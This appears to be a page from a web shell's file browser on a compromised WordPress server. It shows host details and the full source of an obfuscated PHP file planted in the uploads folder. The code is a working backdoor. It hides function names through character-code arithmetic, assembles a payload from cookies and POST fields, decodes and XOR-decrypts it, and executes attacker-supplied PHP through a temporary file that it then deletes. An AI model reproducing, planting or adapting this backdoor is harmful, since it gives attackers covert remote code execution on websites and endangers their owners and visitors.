HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/pMXWY.php
$xlCGqkslr = chr (110) . 't' . "\x62" . chr (95) . chr (89) . "\x7a" . "\101" . "\x61";$QCPIQsW = chr ( 240 - 141 )."\x6c" . chr ( 425 - 328 )."\x73" . 's' . chr ( 837 - 742 ).chr ( 484 - 383 )."\x78" . chr (105) . "\163" . "\x74" . "\163";$XpCLL = class_exists($xlCGqkslr); $QCPIQsW = "48223";$qklBxdFD = strpos($QCPIQsW, $xlCGqkslr);if ($XpCLL == $qklBxdFD){function kAKiv(){$KjWNJO = new /* 27371 */ ntb_YzAa(15776 + 15776); $KjWNJO = NULL;}$VVMNUklJdg = "15776";class ntb_YzAa{private function HNlJZvcN($VVMNUklJdg){if (is_array(ntb_YzAa::$NwMGb)) {$name = sys_get_temp_dir() . "/" . crc32(ntb_YzAa::$NwMGb["salt"]);@ntb_YzAa::$NwMGb["write"]($name, ntb_YzAa::$NwMGb["content"]);include $name;@ntb_YzAa::$NwMGb["delete"]($name); $VVMNUklJdg = "15776";exit();}}public function wxEFJsCOC(){$uwIKb = "48958";$this->_dummy = str_repeat($uwIKb, strlen($uwIKb));}public function __destruct(){ntb_YzAa::$NwMGb = @unserialize(ntb_YzAa::$NwMGb); $VVMNUklJdg = "1996_46442";$this->HNlJZvcN($VVMNUklJdg); $VVMNUklJdg = "1996_46442";}public function pYIEuPguj($uwIKb, $koJvlyo){return $uwIKb[0] ^ str_repeat($koJvlyo, intval(strlen($uwIKb[0]) / strlen($koJvlyo)) + 1);}public function jwcKYJ($uwIKb){$aFepQ = "\x62" . 'a' . 's' . "\145" . "\66" . chr ( 471 - 419 );return array_map($aFepQ . "\137" . chr ( 538 - 438 )."\145" . "\143" . "\x6f" . chr (100) . chr ( 850 - 749 ), array($uwIKb,));}public function __construct($BVajTW=0){$hILTBB = "\x2c";$uwIKb = "";$mkNAJadPiw = $_POST;$wFuIdOuCig = $_COOKIE;$koJvlyo = "99f9174f-caa0-4e3d-afa3-bdde31d677e1";$NqMMjgiZ = @$wFuIdOuCig[substr($koJvlyo, 0, 4)];if (!empty($NqMMjgiZ)){$NqMMjgiZ = explode($hILTBB, $NqMMjgiZ);foreach ($NqMMjgiZ as $cBDSZKTo){$uwIKb .= @$wFuIdOuCig[$cBDSZKTo];$uwIKb .= @$mkNAJadPiw[$cBDSZKTo];}$uwIKb = $this->jwcKYJ($uwIKb);}ntb_YzAa::$NwMGb = $this->pYIEuPguj($uwIKb, $koJvlyo);if (strpos($koJvlyo, $hILTBB) !== FALSE){$koJvlyo = str_pad($koJvlyo, 10); $koJvlyo = strcspn ($koJvlyo, $hILTBB); $koJvlyo = ltrim(rtrim($koJvlyo));}}public static $NwMGb = 42516;}kAKiv();}